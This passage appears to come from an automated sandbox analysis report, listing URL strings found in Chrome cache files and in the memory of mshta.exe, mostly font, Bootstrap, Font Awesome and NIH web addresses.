Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtU6F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtk6F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWu06F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuU6F.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuk6F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWvU6F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWxU6F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_180.1.dr	String found in binary or memory: https://galussothemes.com
Source: chromecache_180.1.dr, chromecache_186.1.dr	String found in binary or memory: https://galussothemes.com/wordpress-themes/rubbersoul
Source: bootstrap.min[1].css.12.dr	String found in binary or memory: https://getbootstrap.com/)
Source: mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css
Source: chromecache_131.1.dr, chromecache_137.1.dr	String found in binary or memory: https://github.com/madler/zlib/blob/master/zlib.h
Source: bootstrap.min[1].css.12.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_131.1.dr	String found in binary or memory: https://i.ytimg.com/vi/
Source: chromecache_131.1.dr	String found in binary or memory: https://jnn-pa.googleapis.com
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765404917.0000000006AE1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352949172.0000000006AE0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407397644.0000000006AE0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kit.fontawesome.com/
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://kit.fontawesome.com/5fc2b821f2.js
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kit.fontawesome.com/5fc2b821f2.jsHE
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kit.fontawesome.com/5fc2b821f2.jsX
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kit.fontawesome.com/5fc2b821f2.jsvE
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kit.fontawesome.com/Oxh3
Source: chromecache_186.1.dr	String found in binary or memory: https://linkedin.com
Source: chromecache_186.1.dr	String found in binary or memory: https://linkedin.com/
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.b
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/Nd
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css#
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.cssC:
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.cssN
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.cssw
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/g
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/ontrib/extlink/extlink.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/p
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/xd72l
Source: chromecache_182.1.dr	String found in binary or memory: https://mc.yandex.
Source: chromecache_182.1.dr	String found in binary or memory: https://mc.yandex.md/cc
Source: chromecache_131.1.dr	String found in binary or memory: https://music.youtube.com
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://nih.sharepoint.com/sites/OD-OALM-ASRB/SitePages/OALM
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://nih.sharepoint.com/sites/OD-OALM-OAMP-PRISMDocumentGeneration
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://nih.sharepoint.com/sites/OD-OALM-PCard/
Source: 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oalm.od.nih.gov/
Source: 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oalmsps.od.nih.gov/OAMP/DSAPS/ASRB/SAPhD/SitePages/Home.aspx
Source: 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oamp.od.nih.gov/
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/#
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/-
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/...c
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/...t
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/.css
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov//
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov//G
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov//W
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov//w
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/3
Source: mshta.exe, 0000000C.00000003.1352968946.0000000006B3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/4
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/7
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/:
Source: mshta.exe, 0000000C.00000003.1352968946.0000000006B3A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/;
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/?
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/C:
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/G
Source: mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/M5
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/O
Source: mshta.exe, 0000000C.00000002.1767618367.0000000006E51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/O#
Source: mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/Q
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B38000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/V
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/_
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/ajax-progress.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/ajax-progress.module.css?sqz1q7(
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/ajax-progress.module.css?sqz1q7N
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006BC5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q7#
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q79
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q7A
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q7Q
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/misc/components/progress.module.css?sqz1q7ap
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/align.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/align.module.css?sqz1q7$s
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/align.module.css?sqz1q7.C:
Source: mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/clearfix.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/clearfix.module.css?sqz1q7$
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/clearfix.module.css?sqz1q7?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/clearfix.module.css?sqz1q7aC:
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/clearfix.module.css?sqz1q7oY
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/clearfix.module.css?sqz1q7z
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q73jQ2
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q7G
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q7eC:
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006AD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/details.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/details.module.css?sqz1q7?
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/details.module.css?sqz1q7C
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/details.module.css?sqz1q7_YC2
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/details.module.css?sqz1q7n
